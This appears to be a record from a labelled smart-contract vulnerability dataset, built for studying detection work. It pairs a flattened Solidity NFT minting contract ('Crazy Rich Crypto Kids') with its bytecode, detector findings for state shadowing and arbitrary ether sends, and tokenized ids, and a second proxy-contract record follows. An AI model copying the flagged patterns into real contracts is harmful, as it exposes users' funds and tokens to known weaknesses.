Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/crck.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CRCK is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable { event Claim (address indexed buyer, uint256 startWith, uint256 batch); event Received(address, uint256); /// FILL INFO HERE address payable public clientWallet; string public baseURI = "ipfs://QmUM9su76wwZyq2uJ6H4GT8k5yKGxCNDeJtY2QQYZc9knA/"; string private _name = "Crazy Rich Crypto Kids"; string private _symbol = "CRCK"; uint256 public totalCount = 10000; //Maximum Supply uint256 public initialReserve = 100; //Initial Team Reserve uint256 public price = 0.08 * 10**18; //Mint Price // DO NOT CHANGE uint256 public startindId = 101; uint256 public maxBatch = 20; //Max Mint uint256 public burnCount; bool public canMint = true; constructor() ERC721(_name, _symbol) { transferOwnership(msg.sender); clientWallet = payable(msg.sender); } receive() external payable { emit Received(msg.sender, msg.value); } function setBaseURI(string memory _newURI) public onlyOwner { baseURI = _newURI; } function setTokenURI(uint256 _tokenId, string memory _tokenURI) public onlyOwner { _setTokenURI(_tokenId, _tokenURI); } function setCanMint(bool _canMint) public onlyOwner { canMint = _canMint; } function claim(uint256 _batchCount) payable public {//Will add in getMintTime check using block.timestamp here tomorrow require(canMint, "Claiming not active"); require(_batchCount > 0 && _batchCount <= maxBatch, "Maximum bfrom_keyatch exceeded"); require((totalSupply() + initialReserve) + _batchCount + burnCount <= totalCount, "Sale over"); require(msg.value == _batchCount * price, "Insufficient value"); require(balanceOf(msg.sender) + _batchCount <= maxBatch, "Personal mint amount exceeded"); emit Claim(_msgSender(), startindId, _batchCount); for(uint256 i=0; i< _batchCount; i++){ require(startindId <= totalCount); _mint(_msgSender(), startindId++); } _walletDistro(); } function changeWallets( address payable _clientWallet ) external onlyOwner { clientWallet = _clientWallet; } function rescueEther() public onlyOwner { _walletDistro(); } function rescueEtherAmount(uint256 _amount) public onlyOwner { (bool sent,) = clientWallet.call{value: _amount}(""); require(sent, "Failed to send Ether"); } function walletInventory(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for (uint256 i = 0; i < tokenCount; i++) { tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } /** * Override isApprovedForAll to auto-approve OS's proxy contract */ function isApprovedForAll( address _owner, address _operator ) public override view returns (bool isOperator) { // if OpenSea's ERC721 Proxy Address is detected, auto-return true if (_operator == address(0xa5409ec958C83C3f309868babACA7c86DCB077c1)) { // OpenSea approval return true; } // otherwise, use the default ERC721.isApprovedForAll() return ERC721.isApprovedForAll(_owner, _operator); } function safeMint(address to, uint256 tokenId) public onlyOwner { require((totalSupply() + burnCount) < totalCount); require(tokenId <= initialReserve); require(tokenId >= 1); _safeMint(to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function burn(uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId)); _burn(tokenId); } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { burnCount++; super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory){ return super.tokenURI(tokenId); } //THIS IS MANDATORY or REMOVE DO NOT FORGET function _baseURI() internal view virtual override returns (string memory){ return baseURI; } function _walletDistro() internal { uint256 contractBalance = address(this).balance; (bool sentC,) = clientWallet.call{value: contractBalance}(""); require(sentC, "failed to send to client"); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
0x739692a90cae405fee7fe257c59410b656394ddfe830146080604052600080fdfea2646970667358221220f95a5a125f5413dbc0f09b2097c22c2980b03490c7d3d7e83112c4309d3ebb4c64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2475, 2050, 21057, 3540, 2063, 12740, 2629, 7959, 2063, 2581, 7959, 17788, 2581, 2278, 28154, 23632, 2692, 2497, 26187, 2575, 23499, 2549, 14141, 7959, 2620, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 26066, 6630, 1012, 1008, 1013, 3853, 2000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,327
0x96934d392ae889d1ea150e43757b98bac92603de
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Brío Presents /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////// // // // // // // // U ___ u ____ _ // // __ __ \/"_ \/ | _"\ U /"\ u // // \"\ /"/ | | | |/| | | | \/ _ \/ // // /\ \ /\ / /\.-,_| |_| |U| |_| |\ / ___ \ // // U \ V V / U\_)-\___/ |____/ u/_/ \_\ // // .-,_\ /\ /_,-. \\ |||_ \\ >> // // \_)-' '-(_/ (__) (__)_) (__) (__) // // // // // // // //////////////////////////////////////////////////////// contract Brio is ERC721Creator { constructor() ERC721Creator(unicode"Brío Presents", "Brio") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * 